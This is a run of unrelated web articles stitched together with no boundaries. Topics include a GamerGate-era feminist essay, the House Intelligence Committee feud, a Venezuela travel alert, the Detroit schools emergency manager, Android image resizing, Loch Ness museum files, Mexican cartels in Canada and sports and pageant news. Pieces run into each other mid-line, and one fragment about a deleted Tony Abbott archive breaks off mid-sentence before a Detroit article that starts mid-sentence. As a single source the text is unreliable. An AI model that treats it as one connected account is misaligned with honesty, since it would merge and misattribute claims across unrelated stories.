I don’t want to destroy games. I want more games, better games. I’m critical when every other game I pick up features a grizzled white dude on the cover, just as I’m critical of yet another book by a dude that’s set in New York, or another movie in which a tough white dude trades barbs with a tough white or inconclusively “exotic” chick, and just like I’m critical when women are shoehorned in just for critics. I’m critical because I think games need stronger writing, because I think diversity brings that, because I’m tired of playing the same things over and over. It doesn’t mean I want to tell developers what they can and can’t make; it means I fucking love games. It means I think nuance makes better stories, and over-reliance on tropes makes shittier stories. It means sometimes I think white dudes are the default, and why? Why is it always a father figure, or an ex-military dude, etc., etc. Why are they bursting their T-shirts like they’ve just dropped in off a bodybuilding forum? Why are all the women trying to navigate the apocalypse in high heels? Where is the logic? I get to say this, because my opinion is my own. It’s mine. Stop telling me I’m too near-sighted to see “the truth” and then linking me “objective” pieces like this one (spoiler: it’s not objective). I can make up my own mind, and I am free to express myself.
You see that in a lot of GamerGate messages. Freedom. But when I exercise it, I am the voice that ruins games.
I’m not here to ruin games. Listen, I am a feminist, and I try to make my feminism inclusive. I want to be aware of the impact my voice can have and how it can silence others. I want to fight for everyone to have a voice. I want to talk about how names are read on job documents, and how perception of names, such a simple thing, helps maintain a class structure it’s impossible for some people to break out of. I want to talk about the very real dangers faced by trans folks, and the horrendous practice of outing and deadnaming, particularly in these internet fights, and how that can put someone’s life at risk. I want to listen to my friend reminding me when he feels like there is no place for him. I want to talk to people who feel that way, too, and I want to break open rooms until there is space for them. I want to talk to anyone who will engage, but I will set my limits because I must. I want to understand the feeling that something is being taken away or threatened. I want to welcome them in and tell everyone that my feminism is about making room. It’s about being what you want to be. It’s about choices, and community, and trying to make something better than what we have.
I want to remember that I am a gamer, too, and passionate about what I like and what I don’t. I want to talk about games with everyone and anyone, all the time, and all the ways we can make games even better, and how we can bring in those people who reject the label. I want to build a community again, but every piece I have is broken, and I don’t know how they can be fit together again, or even if they can. I don’t even know where to begin.WASHINGTON — The House Intelligence Committee’s investigation into Russian interference in the presidential election is “off the rails” and its credibility is in doubt, according to the top Democrat on the committee.
Rep. Adam Schiff (D-Calif.) accused the top committee Republican, Rep. Devin Nunes (R-Calif.) of damaging the “integrity” of their investigation by canceling a public hearing with high-profile witnesses and running President Trump with new evidence without showing the committee.
“We are all quite in the dark on this,” fumed Schiff on CBS’s “Face the Nation.”
“We, I think, suffered really two serious blows to the integrity of the investigation this week, one, with that unilateral trip to the White House, but the other with a cancellation of an open hearing.”
On Monday the FBI Director James Comey announced to the committee the FBI is investigating the Trump campaign’s links to Russia and shot down President Trump’s claims former President Obama wiretapped him.
Nunes helped to change the narrative Wednesday by heading to the White House and announcing that communications by Trump associates were “incidentally” picked up intelligence surveillance.
Nunes didn’t tell the rest of the committee about his findings.
Rep. Trey Gowdy (R-SC) said he still hasn’t seen Nunes’ evidence and but believes it was “unrelated” to the committee’s Russia investigation.
“He has not shown it to me,” Gowdy told CBS’s “Face the Nation.”
“My understanding is Chairman Nunes briefed the commander-in-chief on matters unrelated to the Russia investigation. So if that’s a big deal in Washington, then we’ve sunk to a new low.”
Asked about health of the committee’s ability to continue to investigate, Gowdy said: “I think it’s fine.”
Nunes and Schiff once had joint press conferences on their bipartisan investigation, but they’ve split to feuding factions.
By Friday, Nunes made a solo announcement he’s canceling Tuesday’s high-profile public hearing with former Director of National Intelligence James Clapper, former CIA Director
John Brennan and former acting Attorney General Sally Yates.
Schiff held a separate press conference where he blamed Nunes for trying to “choke off” public information. Nunes said they’d instead hold a private hearing with Comey on unresolved questions within a classified setting.
“The country really needs to have an independent, credible investigation in the House,” Schiff said Sunday. “…Where I think that the House process went off the rails was with that venture by the chairman to the White House.”
The breakdown has increased Democrats’ calls for an independent commission to investigate Russia’s interference in the 2016 presidential election.
Meanwhile, across the Capitol, the Senate intelligence committee will continue with its Russian probe. The committee’s top Democrat, Sen. Mark Warner (D-Va.) is “open” to an independent panel but said he still has “trust” his GOP chairman, Sen. Richard Burr (R-NC) can lead a bipartisan investigation.
“This is the most important thing that I’ve ever done in my public life,” Warner told NBC News’ “Meet the Press.”
Former Trump advisor Roger Stone and former campaign chairman Paul Manafort have both volunteered to testify before Congress in hopes to clear their names.
Stone was in contact with the hacker into the Democratic emails that were exposed on Wikileaks, known as Guccifer 2.0. The US intelligence believes the hacker was a Russian agent, which Stone refutes.
“I have had no contacts or collusions with the Russians,” Stone told ABC’s “This Week.”The opposition has called for a general strike to occur Wednesday and Thursday of this week. We expect most businesses to be closed and movement for U.S. diplomats to be restricted to the Valle Arriba and Santa Fe areas. Similar hindrances to movement could persist beyond Thursday. We advise taking appropriate preparatory measures, including gathering enough food and water for 72 hours.
U.S. citizens are urged to avoid areas of demonstrations and to exercise caution if unexpectedly in the vicinity of any large gatherings or protests. Even demonstrations intended to be peaceful can turn confrontational and escalate into violence. Clashes involving Venezuelan security forces are possible. Recent protests have encountered a strong police/security force presence, the use of tear gas and sometimes rubber bullets. Affected areas often experience traffic disruptions. During protests, travel for all U.S. diplomats is at times restricted to the Santa Fe and Valle Arriba areas in Caracas.
U.S. citizens are strongly encouraged to monitor local news constantly. Review your personal security plans; remain aware of your surroundings, including local events; and monitor local news and media stations for situational updates. U.S. citizens in all parts of Venezuela are urged to maintain a high level of vigilance and take appropriate steps to enhance your personal security.
For more information:It seems that someone in the Liberal Party has decided to do some winter cleaning.
Sadly, amidst the Great Purge, an archive of a press conference Tony Abbott gave back in 2012 as Opposition Leader appears to have been deleted.
It just |
something else, however, that shocked those who were present. He told them that his instructions when he took the job were to "blow up the district and dismantle it".Whoa.
It's one thing have your school district taken over by the state. It's entirely another to know that those taking it over had plans to destroy it. Roberts' honesty about this calls the entire Emergency Manager program in Michigan into question. Does Governor Snyder and his administration feel the same way about the cities they have taken over? Are Emergency Managers across Michigan being instructed to "blow up and dismantle" the municipalities over which they have complete and utter control? What other secret directives have been given? The secrecy with which the Snyder administration has operated in, much of which is only now coming to light, make these entirely valid questions.
As for the DPS, they aren't out of the woods yet. There haven't been any formal announcements about the DPS being out of their emergency so it seems likely another EM will be appointed.
You have to wonder what instructions that person will receive.
UPDATE: Roberts appears to be walking back his comments or at least ensuring that they weren't taken to mean that Governor Snyder was the one who "instructed" him to "blow up the district and dismantle it". The section blockquoted above from the Detroit Free Press article has been edited and now reads like this:
Roberts also told those gathered that when he arrived at DPS, he was told to “blow up” the district and dismantle it, Johnson said. “Blow it up — those were his exact words,” Detroit School Board member Tawanna Simpson confirmed. At a news conference today, Roberts said the governor never instructed him to dismantle DPS, but factions from Lansing to Detroit, from community members to educators, had wanted him to make wholesale changes in DPS and “blow it up,” figuratively speaking. “They had totally given up,” Roberts said. “But we can make it work.”
At the end of the day, I think we all know who the "factions" that Roberts speaks of are. They are the folks who have their hearts set on privatizing as much of Michigan's public school system as they possibly can. This includes a collection of Michigan Republican lawmakers and, very likely, the DeVos family or at least people aligned with them.
Also, there is a lot of news regarding Michigan schools this week and I encourage to you read these two pieces, one of which I put up this morning regarding "parent trigger" legislation (modeled on ALEC legislation, by the way.) The "parent trigger" would be applied only to Education Achievement Authority (EAA) schools which, by definition, are our lowest performing 5% schools. Currently only schools from Detroit are in the EAA but Republicans are working hard to expand it. The only thing holding it up right now is the fact that one of the Senators involved doesn't like the fact that the House put a 50-school cap on it.
Here are links to the two posts:
Why does Sen. Pavlov want even MORE schools in the Educ. Achievement Authority? Because it’s a cash cow?
and today's frightening piece:
Privatizing struggling schools: a cautionary tale of a corporate-backed, astroturf group strong-arming parents
Also, I don't discredit the successes the Roberts has had. However, the fact is, he has been lying on national television about his results and that raises BIG red flags for me. Read this:
Detroit Public Schools Emergency Manager Roy Roberts boldly lies on national television about his “success”
UPDATE 2: I received this from DPS Emergency Manager Roy Roberts' office last evening around 5:45 p.m.:Image copyright Getty Images
Prince Harry was once so disillusioned with being part of the Royal Family that he decided he "wanted out".
Having considered giving up his title, he finally decided he should remain and "work out a role for myself".
Speaking to the Mail on Sunday, the prince - who is fifth in line to the throne - said being in the Army was "the best escape I've ever had".
And he said the royals "don't want to be just a bunch of celebrities but instead use our role for good".
Harry, 32, spent 10 years in the Army, serving twice in Afghanistan.
He had to leave when his presence there was revealed by the media in 2008.
"I felt very resentful. Being in the Army was the best escape I've ever had. I felt as though I was really achieving something.
"I have a deep understanding of all sorts of people from different backgrounds and felt I was part of a team."
He has since been closely involved with charity work, including supporting wounded veterans and mental health groups.
"We are incredibly passionate with our charities and they have been chosen because they are on the path shown to me by our mother," he said.
"I love charity stuff and meeting people."
Image copyright MOD Image caption Prince Harry qualified as an Apache Aircraft Commander during his time in the Army
Last week Newsweek magazine published an interview with the prince in which he said no one in the Royal Family wanted the throne.
"We are not doing this for ourselves but for the greater good of the people," he said.
"Is there any one of the Royal Family who wants to be king or queen? I don't think so, but we will carry out our duties at the right time."
Harry has also said he has thought about the future direction of the Royal Family.
"We want to make sure the monarchy lasts and are passionate about what it stands for.
"But it can't go on as it has done under the Queen. There will be changes and pressure to get them right.
"Things are moving so fast, especially because of social media, so we are involved in modernising the monarchy."Solution Found to High Res Assets Crashing Older Androids
I write a fun dice puzzle game with my friends called, Lock n Roll, but a recent face lift giving it higher resolution graphics resulted in some crash reports! Make sure your app doesn’t run into the same with the quick prep step below.
Here is an example of an asset that changed:
Basically an upscale, but done as part of the release, so strong filtering could be applied. This particular image is stretched across the entire screen as the window background while the game is loading to act as a splash screen. I was providing only one large version in the drawable-nodpi resources folder and expecting all phones to scale it as needed at runtime. Other types of images were provided only in drawable-xhdpi and getting scaled down for lower densities.
Figuring Out the Problem
Some crashes were reported remotely that look like this:
java.lang.OutOfMemoryError: bitmap size exceeds VM budget java.lang.OutOfMemoryError etc.
I wasn’t able to get them to occur on my own devices or emulators, didn’t see any memory leaks or strange allocations in DDMS analysis, and they all started after I bumped up the resolution of my graphics assets in the app. The one reproducible clue was that the 2.3.3 MDPI emulator I often test apps on was much slower than usual, even for the Android emulator.
The first tablet OS emulator images back when they were released were similarly slow, and Google reps said it was due to the amount of pixels being dealt with, so this really should have clued me in before release. Unfortunately, the memory given to your process in Android is tied to the screen size/density, so the phones with the least memory were having to do the most on the fly graphics scaling.
The Solution
The tools I used to fix this are Cygwin a POSIX command line for Windows, with the ImageMagick image conversion command installed from the setup program. Converting a large facebook graphic from the drawable-nodpi folder to the drawable-xhdpi folder looks like this:
convert drawable-nodpi/image_facebook_logo.png -resize 96x96 drawable-xhdpi/image_facebook_logo.png
Converting everything from drawable-xhdpi down to the other screen density folders looks like this:
for img in `ls *.png *.jpg`; do convert $img -resize 75%../drawable-hdpi/$img ; done ; for img in `ls *.png *.jpg`; do convert $img -resize 50%../drawable-mdpi/$img ; done ; for img in `ls *.png *.jpg`; do convert $img -resize 37.5%../drawable-ldpi/$img ; done ;
Boom! Done. Do watch out for *.9.png images, however. These have a 1 pixel border indicating the stretchable and content padding parts of the image, so can’t be scaled so easily. The borders have to stay 1 pixel.
Fortunately, they also tend to look good with very few pixels so aren’t often very large anyway. The stretchable areas are usually the ones with the least detail, and more detailed areas like the corners of buttons are less affected by size changes thanks to that.
With the above changes devices should be doing much less scaling from now on. The extra slow emulator is fixed and my crash reporting dashboard looks better at least!
My Facebook image used to be 140x140 pixels large, but was always used at size 48dp (which is scaled to 48 pixels on medium density class devices, twice that at xhdpi, etc.). So it was always being scaled and now it is never being scaled except on tvdpi anf xxhdpi devices.
The Future
It’s rough on the developer to have to maintain many more graphics. Every little change to the size they are used or to the graphics requires tweaking many files. Maybe someday the app will get custom tweaked graphics for each resolution from a nice artist, or I’ll build an assets packaging pipeline.
Such a pipeline would always pre-process an app before publishing to fill in the missing resizes, allowing the source tree to retain only the source image. This sort of extensive preprocessing is common in game engines and development environments. There it is often beneficial to have the images in a format the GPU can use and sometimes even all stuck together into larger atlas images with many images inside.
I also dislike how much larger the end file size of the app is. I’ve watched users wait for apps to download and they are just as likely to forget about the app as they are to forget about slow loading web sites, which they do in droves. This is especially bad when demoing devices to people at events where connections are overloaded. Hopefully Google will eventually tweak Android Market to remove assets not used by the device downloading the apps.
Hope this helps your own app development! Check out Lock n Roll on Google Play if you need a fun break. :)From Zappa Wiki Jawaka
Joe Pyne
(December 22, 1925- March 23, 1970) was an American radio presenter and a prototypical version of what would become known as Shock Jocks. He had developed his confrontational style since his early radio shows in the late 1940s. He would often start an interview with an insult to wrong foot his guests. On October 22, 1966Zappa, along with a bunch of LA freaks and the Cherry Sisters, appeared on the show. According to legend Pyne tried to insult Zappa by making a comment about his long hair, which went: "So I guess your long hair makes you a woman." Zappa then supposedly quipped back: "So, I guess your wooden leg makes you a table!", referring to the fact that Pyne had lost a leg while serving with the U.S Marines during World War II.
[2] [3] [4]
Although the opening parry is well known no recording of this particular show has surfaced until now.
ReferencesNow this is how you go out on a high. As the last three Dark Horse comic releases approach and an era ends, the trade paperback of The Star Wars lands at number one on the New York Times Bestseller List.
FOR IMMEDIATE RELEASE: MILWAUKIE, OR—After an amazing eight-issue run, the graphic novel collection of The Star Wars has soared to the top of the New York Times bestseller list! Before Star Wars, there was The Star Wars! This is the official adaptation of the rough-draft screenplay by George Lucas for what would become Star Wars—the film that changed motion pictures and the world. You’ll see familiar characters and places—but not all is the same in this long-ago and faraway galaxy. Still, strap yourself in for high adventure and lazersword duels, Jedi Knights, Princess Leia, Han Solo, and a battle to defeat the evil Empire!
The trade paperback collection of The Star Wars collects issues #1–#8 and landed at number one on the bestseller list. The hardcover edition collects issues #1–#8 and issue #0 of The Star Wars and landed at #3.
Dark Horse announced this Star Wars dream project in April 2013: working with J. W. Rinzler, executive editor at LucasBooks, and artist Mike Mayhew (Avengers) to adapt the rough-draft original screenplay which spawned the biggest franchise in film history!
The Star Wars is available in bookstores everywhere.
A deluxe, oversized boxed-set edition containing the entire saga—plus extras—in three foil-stamped, hardcover volumes will be released on August 13!Monstercat’s “Uncaged Tour” was a step in the right direction for the URL label. For a community created and grown on the interwebs, moving into the live show realm is the obvious next step.
It wasn’t the first time we’ve seen Monstercat artists out and about, though – Pegboard Nerds, Aero Chord, Haywyre, and more are avid tourers. However, there has always been a little something missing. For the most part, only around two or three Monstercat artists were ever on the same lineup. This year at SXSW is looking to change that.
The Monstercat Showcase at SXSW will feature not two, not three, not four … BUT FIVE Monstercat artists. On stage for the first time ever, together, will be Haywyre, Aero Chord, Grabbitz, Razihel & Au5. This is sure to be one of the top shows of the week in Austin and you would be absolutely foolish not to drop by if you’re going to be there.
For those of you who will not be Austin…
Monstercat has got something special for you, too. Teaming up with the incredible startup Splice, the platform for music creation, collaboration and sharing, Monstercat will host a live stream of Monstercat artists collaborating on a track.
Haywyre’s WIP (Work In Progress) will kick things off and with Splice’s cutting edge platform will be picked up by Aero Chord to add his touches to the track; all of this will be streamed live on live.monstercat.com. Fans will be able to watch minute by minute and get an inside look at the production process in Ableton Live as well as download the WIP to create their very own versions. This event showcases the tools available for artists through Splice, which eliminate the dreadful hurry-up-and-wait moments of working with fellow artists remotely, and give fans up-close access to the incredible creative ability of Monstercat’s roster. Be sure to tune in to live.monstercat.com 9:00 PM EST/ 8:00 PM CT to witness this incredible exhibition. Haywyre WIP: https://splice.com/haywyre/wip
Live Stream: http://live.monstercat.com
That’s right… very soon, you will hear a completed Haywyre x Aero Chord collab. I know, I’m shaking with excitement, too.
Also be sure to pre-order Monstercat 021 – Perspective on iTunes or Bandcamp.A few years ago, the psychologists Adam Galinsky and Roderick Swaab began working on a study that looked at the relationship between national levels of egalitarianism – the belief that everyone deserves equal rights and opportunities – and the performance of national soccer teams in international competitions like the World Cup. It was an admittedly speculative hypothesis, an attempt to find a link between a vague cultural ethos and success on the field. But their logic went something like this: because talented athletes often come from impoverished communities, the most successful countries in the highly competitive World Cup would find a way to draw from the biggest pools of human talent. Think here of the great Pele, who was too poor to afford a soccer ball so he practiced his kicks with a grapefruit instead. Or the famous Diego Maradona, born in a shantytown on the outskirts of Buenos Aires. These men had talent but little else. It is a testament to egalitarianism that they were still able to get the opportunities to succeed.
It’s a nice theory, but is it true? After controlling for a number of variables, including GDP, population size, length of national soccer history and climate, Galinsky and Swaab found that egalitarianism was, indeed, “strongly linked” to better performance in international competition. It also predicted the quantity of talent on each team, with more egalitarian countries producing more players under contract with elite European clubs. In short, the most successful soccer countries don’t necessarily have the most innately talented populations. Instead, they do a better job of not squandering the talent they already have.
It’s a fascinating study with broad implications. It suggests, for one thing, that much of the national variation in performance – and it doesn’t matter if we’re talking about the soccer pitch or 8th grade math scores – has to do with how well countries utilize their available human capital. What T.S. Eliot said about the excess of literary geniuses during the Elizabethan age (Shakespeare, Marlowe, Spenser, Donne, etc.) turns out to be a far more general truth. “The great ages did not perhaps produce much more talent than ours,” Eliot wrote, “but less talent was wasted.”
So far, so interesting. But as often happens in science, answers have a slippery way of inspiring new questions; the scientific process is a perpetual mystery generating machine. And it’s this next mystery – one utterly unrelated to egalitarianism – that most interests me.
While analyzing the soccer data, Galinsky and Swaab noticed something very peculiar – at a certain point, having more highly talented players on a national team led to worse performance. It was an unsettling finding, since people generally assume that talent exists in a linear relationship with success. (More talent is always better.) Such logic underpins the frenzy of NBA free-agency – every team is begging for superstars – and the predictions of bookies and commentators, who believe that the most gifted teams are the most likely to win. It’s why an already loaded Barcelona team just spent more than $100 million to acquire Luis Suarez, a player who has become as famous for biting as he has for striking.
And so, armed with this anomaly, Galinsky, Swaab and colleagues at INSEAD, Columbia University and VU University Amsterdam, decided to continue the investigation. After confirming the result among soccer teams competing at the 2010 and 2014 World Cup – too much talent appeared to be a burden, making national teams less likely to win – the scientists decided to see if their findings could be extended to other sports.
They turned first to basketball, looking at the impact of top talent on NBA team performance between 2002 and 2012. They coded talent by looking at the Estimated Wins Added (EWA) statistic, a measure that reflects the approximate number of wins a given player adds to a team’s season total. (In the 2013-2014 season, Kevin Durant led the league with an EWA of 30.1. LeBron was second with 27.3.) Once again, talent exhibited a tipping point: NBA teams benefited from having the best players unless they had too many of them. While most general managers assume the link between talent and performance is linear – a straight line with an upward slope – the scientists found that it was actually curved, and teams with more than 60 percent top talent did worse than their less skilled competition. Swaab and Galinsky call this the “too-much-talent” effect.On July 3rd-5th I'll be heading to Montreal to Attend the Magic Grand Prix as a featured artist. It will be my fifth GP and my first trip to Montreal. They also asked me to produce a custom playmat image for the event, one that related to the local flavor in some way. While I could have easily done an image that involved moose playing hockey while slathering themselves in maple syrup, I decided to... do a little research on the city itself instead, and what makes it such a unique historical destination. As it turns out, it has been called "The city of one hundred steeples", for its seemingly endless supply of churches and cathedrals. And that seemed like a pretty great place to start for a gothic fantasy art piece.AT A time when sightings of the nation’s most elusive inhabitant were treated with gravity by British officialdom, it was a fiendish plan to snatch her from under Scottish noses.
Newly discovered documents have revealed how the National History Museum (NHM) in London appealed to so-called bounty hunters to help secure the carcase of the Loch Ness monster, according to a new book.
It claims the files, dating back to the 1930s, show staff at the institution were keen to steal a march on museums in Scotland and around the world by exhibiting all – or part – of the beast’s remains.
Although Nessie now occupies a prized place in Scottish mythology alongside flying haggis and Brigadoon, the correspondence from the museum’s archives demonstrate the seriousness with which early rumours of her existence were treated.
In 1934, a year after the first sightings of a supposedly mysterious creature lurking in the loch’s depths, the book claims, an NHM employee made clear it would be keen to trump institutions such as Edinburgh’s Royal Scottish Museum (RSM).
In a letter dated March of that year, the unnamed official responded to questions about the museum’s policy on Nessie. The message was black and white.
“Should you ever come within range of the ‘Monster’ I hope you will not be deterred by humanitarian considerations from shooting him on the spot and sending the carcase to us in cold storage, carriage forward,” the letter stated, before adding: “Short of this, a flipper, a jaw or a tooth would be very welcome.”
The remarkable advice is detailed in Britain’s X-traordinary Files, a book examining various myths and stories in the country’s folklore.
Author David Clarke said while researchers already knew about similar files at the RSM, the discovery of similar documents at the NHM left him “astonished”.
He said: “Many influential people – including MPs and famous naturalists like Sir Peter Scott – believed in the existence of Nessie and a lot of pressure was placed on the Scottish Office to give it special protection.
“During the 1930s, the monster became an important symbol for Scottish Nationalists who wanted the police to protect the creature from big game hunters.
“Nessie had become a Scottish icon – a symbol of national identity.”
He added: “There was genuine outrage at the possibility that the corpse of the monster might be taken for display in London.”
While the NHM was working behind the scenes to secure the creature, the RSM warned against the prospect of Nessie being put on display south of the Border.
In a 1934 letter to the then secretary of state for Scotland, Sir Godfrey Collins, the museum staked Edinburgh’s claim to the carcase.
It stated: “The museum urges strongly that the RSM have the reversionary rights to the ‘Monster’ if and when its corpse should become available.
“We think the Monster should not be allowed to find its last resting place in England.
“Such a fate would surely outrage Scottish nationalism which at the moment is thriving greatly under the Monster’s beneficent influence.”
The Scotland Office opened a file on the monster in December 1933 in Edinburgh after being bombarded with inquiries from the press.
According to more files found in Edinburgh, pressure was already growing for a special act of parliament to prevent Nessie being killed or captured.
The campaign was led by Inverness MP Murdoch MacDonald who assured Sir Godfrey the creature was no myth.
“Evidence of its presence can be taken as undoubted. Far too many people have seen something abnormal to question its existence,” he wrote.
He demanded a bill be put before parliament to protect the creature and asked Sir Godfrey what could be done to spare it from harm in the meantime.
Sir Godfrey was advised there was “no law for the protection of Monsters” and “great fish, including those of no known denomination, may be claimed by The Crown”.
In later decades, the NHM’s appetite for all matters Nessie waned considerably. The archives show that in October 1959, it wrote to employees warning them the trustees “do not approve of the spending of official time or official leave on the so-called Loch Ness phenomena”.Two PhD candidates were tired of being addicted to Facebook. They are after all, extremely busy with studying and need less interruptions and more focus. These two scholarly-aimed students decided to create an end to their Facebook distraction. Robert R. Morris and Dan McDuff put their collectively intelligent minds together, and devised a novel way to stop wandering minds and mouse clicks. The video at the end of this article, shows how the Pavlov Poke works. It is an accessory for the keyboard, where a user’s wrist rests upon it. Script is inputted for specific sites, say like Facebook; once the user has moved over to that site for a specific amount of time, the system releases a shock to jolt the user back to their studying habits.
On the site created by the budding genius minds, they provide a breakdown of information they used to create the Pavlov Poke. The dynamic dual states the components are simple enough to gather and create:
Morris and McDuff opted for a Mac UI Inspector device to monitor the computer usage.
A processing code is needed to connect the troublesome site that distracts the wandering mind of many. The code would become activated once the site is visited often or too long.
A shock circuit is needed, the PhD candidates refer to purchasing an Arduino, if homemade circuit boards are not possible. The tool connects via USB to any home computer or laptop.
Electrodes are also connected on the keypad, to deliver that stunning “I better get back to studying!” shock.
While the two scholars state the device was created in jest, further yet is a truth behind it. PhD candidates spend dozens of hours weekly researching, reading and participating in experiential learning techniques. Both McDuff and Morris admitted to spending over 50 hours a week on Facebook, a testament that is both eye-opening and not surprising. Nearly 50 percent of Facebook users check Facebook upon waking up, prior to brushing their teeth or even leaving their bed. It seems this shock therapy may be a good idea, after all.
Over 1 billion users access Facebook, this is approximately over 8 billion logged hours into the social media giant. The social media circle grows, connections for personal use and business use. Large corporations have joined the Like kingdom, by offering specials and discounts, if consumers like their page. Relationships are created and ruined by Facebook, crime snapped, reported and caught on Facebook. It is a social life of connections and gatherings. While Morris and McDuff claim a fun way to train their mind, further yet is a true connection to a tool like this.
If students, employees, parents and etc. actually stepped away from Facebook more often, what other items on the list can finally be checked off? Certainly, the students may had created the Pavlov Poke in good fun, but shock therapy for the addicted social media mind, may be a key for millions of people. No word yet if the dual plan on streamlining the device. For now, they have stopped using it, but stated it actually did work to trim down their Facebook use. Of course, it is not recommended for anyone to try this method unattended or untrained. Even Morris stated the environment for release should be controlled prior to trying out the method. For now, it is a great contemplation tool for future creators.
Angelina Bouc
Sources 1 2 3 4Violent drug cartels are expected to expand their reach in Canada now that a visa requirement for Mexicans has been lifted, according to government documents obtained by Postmedia News.
The Canada Border Services Agency report says “the visa lift will make travel to Canada easier in order to establish or strengthen existing cartel smuggling chains.”
“In the next three years, Mexican drug cartels are expected to expand their presence in Canada by sending operatives and recruiting local airport or marine port workers with ties to Mexico,” says the document, obtained from a source.
Postmedia only obtained a section of the document titled: Implications for the Canada Border Services Agency and Canada.
Postmedia earlier reported on the increasing presence of Mexican cartels in Canada, as well as the fact that gangsters and organized criminals were working at the Port of Vancouver.
As of Dec. 1, Mexicans are no longer required to obtain a visa to come to Canada. The previous visa program had existed for seven years.
The CBSA document said the cartels generally don’t use tourists to smuggle drugs for them.
“While Mexican drug cartels do employ drug mules, they prefer shipments with high profitability and high likelihood of successful delivery,” the documents says. “As a result, they are expected to continue to focus their large scale smuggling efforts on commercial cargo in the marine, air and land modes given the higher likelihood of successful delivery and much higher profit margins.”
Mexican cartels have taken over legitimate businesses in Mexico in industries such as the production of goods and oil and mining, the CBSA report says.
“The flexibility and openness of free trade has proven beneficial to Mexican cartels over time,” it says. “Increasing trade ties will create additional opportunities for Mexican drug cartels to smuggle inside legitimate shipments, particularly using legitimate avenues such as the planned international trucking corridors for easier transport of higher cargo volumes between Canada and Mexico.”
And the CBSA document expresses concern about the possibility of the cartels starting to smuggle fentanyl into Canada.
“While China is the main source of fentanyl to Canada, increased regulations may result in Mexican drug cartels stepping in to fill any potential fentanyl shortage in Canada,” it says. “Mexican drug cartels play a significant role in current international fentanyl trafficking, with Mexico serving as a transshipment point for fentanyl precursors.”
CBSA media officer Line Guibert-Wolff said in an emailed statement that “Canada is working closely with Mexican partners to put in place measures to protect Canada against the risks associated with irregular migration.”
“The Government of Canada will continue to monitor and address any safety and security risks. The Public Safety portfolio, along with Canadian law enforcement partners across the country and abroad, work collaboratively and proactively to protect Canada’s safety and security. Combating serious and organized criminal activity is a priority,” Guibert-Wolff said.
Conservative Public Safety critic Tony Clement said the federal government should have paid more attention to the security risks associated with lifting the visa requirement.
“This is a concern and it could lead to Canadian lives being lost if the cartels move in,” he said. “I think this is a matter of the highest security and I think the government should reverse itself.”
Staff for B.C. Public Safety Minister Mike Morris said he would not comment on the document “as this is a federal matter.”
B.C. NDP Public Safety Critic Mike Farnworth said the information is concerning, but not surprising.
“I think this is one of the things the government needs to be frank about with Canadians and British Columbians. It is one thing to say yay, we are going to get more tourists but the reality is that we are also going to see increased opportunities for the criminal element, particularly Mexican drug cartels,” Farnworth said.
And he said “the government has got to be increasingly vigilant when it comes to potential for organized crime to infiltrate our transportation modes whether it be marine, whether it be air, or whether they be land.”
RCMP Supt. Cal Chrustie, an expert on cartels, said he didn’t feel comfortable commenting on the impact of the regulatory change.
But he said Mexican cartels and other transnational organized crime networks “(don’t) respect laws, regulations or authorities in their illegal efforts regardless.”
“We know that transnational organized crime networks in Canada have criminal business relationships with Mexican cartels,” Chrustie said.
He said Canadian crime organizations purchase cocaine and other drugs from Mexican cartels.
“The Canadian organized crime networks also work with the Mexican cartels in laundering/repatriating money from drug deals between the groups. It is usually about illegal profits with the cartels,” Chrustie said. “We will continue to monitor all external threats from transnational organized crime networks, and the cartel activity is one we will monitor closely as we have always done.”
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Is there more to this story? We’d like to hear from you about this or any other stories you think we should know about. Email vantips@postmedia.com.When the Chicago Bears restructured Jay Cutler's contract to clear cap space, speculation surfaced that it was to enable the Bears to sign All-Pro receiver Brandon Marshall to a long-term extension.
Instead, Chicago signed free-agent DE Jared Allen to a four-year deal, and Marshall is heading toward the last year of his contract.
While some might expect an athlete to feel slighted by a lack of an extension, Marshall is taking the opposite approach. A recognized team leader, Marshall is hosting teammates for workouts in Florida. And he's glad the Bears acquired Allen, making the team stronger as Marshall pursues the first postseason experience of his career.
"I have another year left on my contract. If it happens, it happens; if it doesn't, I'm glad to be a Bear for another year and I'm going to force them to sign me after next year," Marshall said Thursday on the "Waddle & Silvy" show on ESPN Chicago 1000. "One way or another, they're going to get the deal done.
"But if it comes down to next year, I'll be picketing outside of Halas Hall for a new deal, a new contract, because I'm not going anyplace."
Marshall has established himself as perhaps the greatest receiver in Bears history in just two seasons, each of which featured at least 100 catches and 1,295 yards. Are the Bears risking paying a higher price if they let Marshall add to his impressive resume in the 2014 season?
"I'm not going anywhere, man," Marshall said. "The guys that are out there now, like Calvin Johnson and Larry Fitzgerald, they're making $16 million, $15 million a year, and I'm not looking for anything like that. A lot of that money goes to the quarterback position, and rightfully so.
"For me, we do want to sign guys like Jared Allen and Lamarr Houston, and we got Martellus [Bennett] last year and have Matt Forte. I do want to be in a good position, but at the same time I definitely am not trying to be in the $15 million range. I get a year to deal with that, and right now I'm focusing on how to be a better teammate. How can I grow as a receiver, as a man, as a leader on this team and also in the community? How can our foundation do bigger things? That stuff is going to take care of itself. We have all year to figure that out, and I believe we'll get it done before the end of the season and I'm going to be happy when we do."The Miss World organisation is rocking the pageant world.
Julia Morley, the Miss World chairwoman, has announced that it is dropping the swimsuit segment from the competition, reports ABC News.
And Chris Wilmer, national director of Miss world America/Miss United States tells ABC: "It's not just a beauty contest, it's 'beauty with a purpose'. There didn't seem to be a purpose to have the swimsuit."
The competition lately has made a point to showcase charity work carried out by contestants.
On Dec. 14, Miss South Africa, Rolene Strauss, was crowned the 64th Miss World.
"Miss World should be a spokesperson who can help a community," Wilmer told ABC News. "She's more of an ambassador, not a beauty queen."
Instead of focusing on taut abs and sexy swimsuit bods, Wilmer says Miss World plans to feature a beachwear round. "It'll be more of a fashion competition than a bikini show," Wilmer said.
Miss World contestants will still compete in events including dance, talent, top model gown, Beauty with a Purpose video and several interviews.
Says Wilmer, "Pageantry is an age old industry and I think with Julia getting rid of swimsuit and making it more of a lifestyle competition sends a strong message and I applaud her for it."
We've reached out to the Miss America organisation for comment on the Miss World news — and to see if they are considering following suit — but have not heard back.Suspects in a Los Angeles area bank robbery appear to throw money from their car while being pursued by police Wednesday.
LOS ANGELES - Bystanders stepped into the line of fire at the end of a high-speed pursuit as police tried to apprehend suspected bank robbers who appeared to toss money out of their getaway vehicle.
The chase, which started in the Santa Clarita area north of Los Angeles, ended around 11:20 a.m. PT Wednesday in South Los Angeles.
A mob of people gathered around the black Volvo SUV after it was forced to stop because of traffic.
Officers exited their squad cars to confront the alleged robbers and were able to take them into custody.
The chase was covered live by L.A. television stations. Dozens of people gathered at the crime scene.
Read, watch full coverage on NBCLosAngeles.com
